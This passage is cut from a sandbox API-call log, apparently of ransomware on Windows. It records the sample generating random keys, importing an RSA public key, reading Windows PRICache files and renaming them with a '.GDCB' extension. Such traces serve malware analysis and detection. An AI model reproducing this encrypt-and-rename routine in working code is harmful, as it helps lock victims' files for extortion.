pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd460000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0290.019] GetLastError () returned 0x0 [0290.019] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.019] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0290.021] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9fb0) returned 1 [0290.021] CryptGetKeyParam (in: hKey=0x67a9fb0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.021] CryptEncrypt (in: hKey=0x67a9fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd470000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd470000*, pdwDataLen=0x285db40*=0x100) returned 1 [0290.021] GetLastError () returned 0x0 [0290.021] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.021] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2577507833\\3967450640.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0290.025] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.031] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.031] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0290.031] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.031] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0290.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.036] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0290.036] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.036] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0290.039] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9df0) returned 1 [0290.039] CryptGetKeyParam (in: hKey=0x67a9df0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.039] CryptEncrypt (in: hKey=0x67a9df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd480000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd480000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0290.039] GetLastError () returned 0x0 [0290.039] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.039] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0290.041] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a99b0) returned 1 [0290.041] CryptGetKeyParam (in: hKey=0x67a99b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.041] CryptEncrypt (in: hKey=0x67a99b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd490000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd490000*, pdwDataLen=0x285db40*=0x100) returned 1 [0290.041] GetLastError () returned 0x0 [0290.041] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.041] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0290.042] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd4a0000 [0290.051] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd4b0000 [0290.053] ReadFile (in: hFile=0x508, lpBuffer=0xd4b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd4b0000*, lpNumberOfBytesRead=0x285db80*=0x13d70, lpOverlapped=0x0) returned 1 [0290.062] VirtualAlloc (lpAddress=0x0, dwSize=0x13d70, flAllocationType=0x3000, flProtect=0x4) returned 0xd5c0000 [0290.070] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri.gdcb")) returned 1 [0290.076] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0290.080] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.082] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.082] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0290.082] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.082] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0290.085] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.087] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.087] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0290.087] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.087] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0290.091] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9cb0) returned 1 [0290.091] CryptGetKeyParam (in: hKey=0x67a9cb0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.091] CryptEncrypt (in: hKey=0x67a9cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd480000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd480000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0290.091] GetLastError () returned 0x0 [0290.091] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.091] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0290.093] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9cf0) returned 1 [0290.093] CryptGetKeyParam (in: hKey=0x67a9cf0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.093] CryptEncrypt (in: hKey=0x67a9cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd490000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd490000*, pdwDataLen=0x285db40*=0x100) returned 1 [0290.093] GetLastError () returned 0x0 [0290.093] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.093] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0290.095] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd4a0000 [0290.098] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd4b0000 [0290.100] ReadFile (in: hFile=0x508, lpBuffer=0xd4b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd4b0000*, lpNumberOfBytesRead=0x285db80*=0x748, lpOverlapped=0x0) returned 1 [0290.109] VirtualAlloc (lpAddress=0x0, dwSize=0x750, flAllocationType=0x3000, flProtect=0x4) returned 0xd5c0000 [0290.116] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri.gdcb")) returned 0 [0290.130] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.134] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.136] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.137] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0290.137] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.137] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.142] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.142] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0290.142] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.142] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0290.145] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9e30) returned 1 [0290.145] CryptGetKeyParam (in: hKey=0x67a9e30, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.145] CryptEncrypt (in: hKey=0x67a9e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd480000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd480000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0290.145] GetLastError () returned 0x0 [0290.145] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.145] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0290.147] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9bb0) returned 1 [0290.147] CryptGetKeyParam (in: hKey=0x67a9bb0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.147] CryptEncrypt (in: hKey=0x67a9bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd490000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd490000*, pdwDataLen=0x285db40*=0x100) returned 1 [0290.147] GetLastError () returned 0x0 [0290.147] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.147] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0290.148] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd4a0000 [0290.151] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd4b0000 [0290.154] ReadFile (in: hFile=0x508, lpBuffer=0xd4b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd4b0000*, lpNumberOfBytesRead=0x285db80*=0xb068, lpOverlapped=0x0) returned 1 [0290.166] VirtualAlloc (lpAddress=0x0, dwSize=0xb070, flAllocationType=0x3000, flProtect=0x4) returned 0xd5c0000 [0290.174] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri.gdcb")) returned 0 [0290.181] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.185] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.188] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.188] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0290.188] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.188] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0290.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.193] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0290.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.193] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0290.196] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9bf0) returned 1 [0290.196] CryptGetKeyParam (in: hKey=0x67a9bf0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.196] CryptEncrypt (in: hKey=0x67a9bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd480000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd480000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0290.196] GetLastError () returned 0x0 [0290.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.196] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0290.198] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9eb0) returned 1 [0290.198] CryptGetKeyParam (in: hKey=0x67a9eb0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.198] CryptEncrypt (in: hKey=0x67a9eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd490000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd490000*, pdwDataLen=0x285db40*=0x100) returned 1 [0290.199] GetLastError () returned 0x0 [0290.199] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.199] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.WindowsFeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windowsfeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3375042201\\1858609885.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0290.200] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd4a0000 [0290.204] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd4b0000 [0290.207] ReadFile (in: hFile=0x508, lpBuffer=0xd4b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xd4b0000*, lpNumberOfBytesRead=0x285db80*=0x7ee0, lpOverlapped=0x0) returned 1 [0290.216] VirtualAlloc (lpAddress=0x0, dwSize=0x7ee0, flAllocationType=0x3000, flProtect=0x4) returned 0xd5c0000 [0290.223] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.WindowsFeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windowsfeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3375042201\\1858609885.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.WindowsFeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3375042201\\1858609885.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windowsfeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3375042201\\1858609885.pri.gdcb")) returned 1 [0290.232] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.235] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.237] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.237] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0290.237] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.237] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0290.240] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.242] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.242] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0290.242] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.243] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0290.245] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9930) returned 1 [0290.245] CryptGetKeyParam (in: hKey=0x67a9930, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.245] CryptEncrypt (in: hKey=0x67a9930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd480000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd480000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0290.245] GetLastError () returned 0x0 [0290.245] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.245] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0290.247] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a9d70) returned 1 [0290.247] CryptGetKeyParam (in: hKey=0x67a9d70, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0290.247] CryptEncrypt (in: hKey=0x67a9d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd490000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd490000*, pdwDataLen=0x285db40*=0x100) returned 1 [0290.248] GetLastError () returned 0x0 [0290.248] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.248] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application 